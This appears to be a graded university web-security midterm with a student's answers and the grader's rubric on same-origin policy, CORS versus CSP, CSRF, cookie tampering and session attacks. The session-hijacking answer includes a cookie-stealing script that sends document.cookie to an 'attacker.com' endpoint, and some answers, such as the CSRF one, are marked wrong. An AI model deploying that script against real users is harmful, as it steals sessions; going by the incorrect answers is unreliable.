Midterm-CS974

Graded

Student

Sivachandran P

Total Points

42 / 50 pts

Question 1

SOP

8 / 10 pts

+ 10 pts Correct

✔ + 8 pts Minor mistakes

+ 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Reason - 2: In case browser could not map properly both "../users/yusuf" & "../users/yusuf/index.html", eventually it may get considered as different origin . - Not the correct reason. SOP only considers Protocol, Port and Host information.

Question 2

CORS vs. CSP

10 / 10 pts

✔ + 10 pts Correct

+ 8 pts Minor mistakes

+ 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

Question 3

(no title)

4 / 10 pts

+ 10 pts Correct

+ 8 pts Minor mistakes

✔ + 5 pts Partial correct

+ 3 pts Attempt

+ 0 pts Incorrect/Not attempted/ Copy & Pasted from AI tools

− 1 pt CSRF vulnerability- POST request without verification of origin

Question 4

Cookies

10 / 10 pts

- ✔ **+ 10 pts** Correct
- **+ 8 pts** Minor mistakes
- **+ 5 pts** Partial correct
- **+ 3 pts** Attempt
- **+ 0 pts** Incorrect/Not attempted/ Copy & Pasted from AI tools

Question 5

Session hijack vs fixation

10 / 10 pts

- ✔ **+ 10 pts** Correct
- **+ 8 pts** Minor mistakes
- **+ 5 pts** Partial correct
- **+ 3 pts** Attempt
- **+ 0 pts** Incorrect/Not attempted/ Copy & Pasted from AI tools

Q1 SOP
10 Points

Please note that each of the following questions can be answered with max 2 brief and to-the-point sentences. Excess verbosity will be penalized.

The following two URLs failed the Same Origin Policy Test on a new browser someone implemented.

https://www.cse.iitk.ac.in/users/yusuf
https://www.cse.iitk.ac.in:443/users/yusuf/index.html

(a) What is the reason for failing the same-origin-policy test?

Reason - 1: Eventhough port ":443" is default for HTTPS, if improper implementation of SOP OR if browser treats ":443" as an explicit port instead of default, may get treated that both are different origins

Reason - 2: In case browser could not map properly both "../users/yusuf" & "../users/yusuf/index.html", eventually it may get considered as different origin

What security objectives are fulfilled by implementing the same-origin-policy by browsers?

Proper analysis and correct implementation to identify the correct SOP would help to avoid the above two reasons (need proper handling of, normalisation of default port & directory URLs & Index URLs)

Give an example use case for which relaxing same-origin-policy may be required.

For example, Facebook.com has subdomains, chat.facebook.com or login.facebook.com - ordinarily would get failed here, so similar instances need the consideration of same-origin-policy relaxation.

Q2 CORS vs. CSP
10 Points

Please note that each of the following questions can be answered with max 2 brief and to-the-point sentences. Excess verbosity will be penalized.

People often confuse between the objectives of the CSP (Content Security Policy) and CORS (Cross Origin Resource Sharing). Write the most significant 2 differences between the objectives of the two.

Cross Origin Resource Sharing (CORS) - Objectives:
1) Specifying that cross origin resource sharing are allowed
2) This is an extension of SOP, So when we need to pull data from external APIs that are public or authorised, and to allow authorised third-party access to own server resources CORS is needed.
Content Security Policy (CSP) - Objectives:
1) Prevention of malicious content injection
2) Controls the own page possible to load to prevent attacks

Q3
10 Points

Please note that each of the following questions can be answered with max 2 brief and to-the-point sentences. Excess verbosity will be penalized.

Suppose you use internet banking through your banking portal www.bank.com and when you send money from your account to a recipient account, you are required to fill a web form with your account number, recipient account number, and the amount. The form gets submitted via an http POST message to the bank.com site on billpay.php web application. An attacker creates a page on attacker.com with a hidden form which is pre-filled with your account number, the attacker's account number, and an amount. Through phishing attack, the attacker makes you click on a link such that the page of attacker.com is loaded on your browser. At the same time you are logged into your www.bank.com portal. The attacker page displays something lucrative, and you click on a button. A POST request is generated by your browser along with your session key and sent to www.bank.com. Later you find that you made a payment to an unknown recipient.

Explain what kind of vulnerabilities must be there on the web application hosted by your bank's website?

I think it is session hijacking, and Cross-site scripting & SQL injection leading to this issue

What mitigations could have stopped this attack?

Same Origin Policy & properly handled Cross-origin policy would help to avoid such issues.

Q4 Cookies
10 Points

Please note that each of the following questions can be answered with max 2 brief and to-the-point sentences. Excess verbosity will be penalized.

A malicious user is shopping on an Ecommerce site -- and the site stored the total of his shopping cart in a cookie. The user has access to the cookie on his browser -- and edits the cookie to reduce the cart total -- and gets away with paying less. The Ecommerce site figures this out and next time the user tries the same, fails to reduce the shopping cart total.

What mitigations must the Ecommerce site have put so that the malicious user fails the second time?

E-commerce site might implemented the below change:
Store Cart data on the server (not in cookies) ,
Use signed or encrypted cookies
Validating the cart total before checking out
Enable content Security policy

What are the most significant security measures for cookies that a web application must take in order to reduce the possibility of an XSS followed by CSRF attack?

Use HTTPOnly flag (prevents XSS from stealing cookies)
Usage of Secure Flag
Usage of Same site attribute
Implementation of Content Security Policy (helps to reduce the impact of XSS)
Usage of Server-sdie Cart storage (handling of Cookie tampering)

Q5 Session hijack vs fixation
10 Points

Please note that the following questions can be answered with max 2-3 brief and to-the-point sentences. Excess verbosity will be penalized.

Explain with scenario examples, the differences between a session hijacking and session fixation.

Session Hijack: Attacker somehow gets hold of the victims session ID, and uses it to impersonate the victim.
Example:

```
<script>
  var img = new Image();
  img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;
</script>
```

Whenever Victim visits above infected page, their browser start to execute this malicious Java script. While script reads "document.cookie" which contains session token, and sending it to attacker's server.

Session Fixation: The attacker picks a session ID and forces it on the victim. the attacker can fool the victim to visit "http://example.com/?session=123456 the victim visits it. The attacker now browse the site with session ID 123456, and logged in as victim.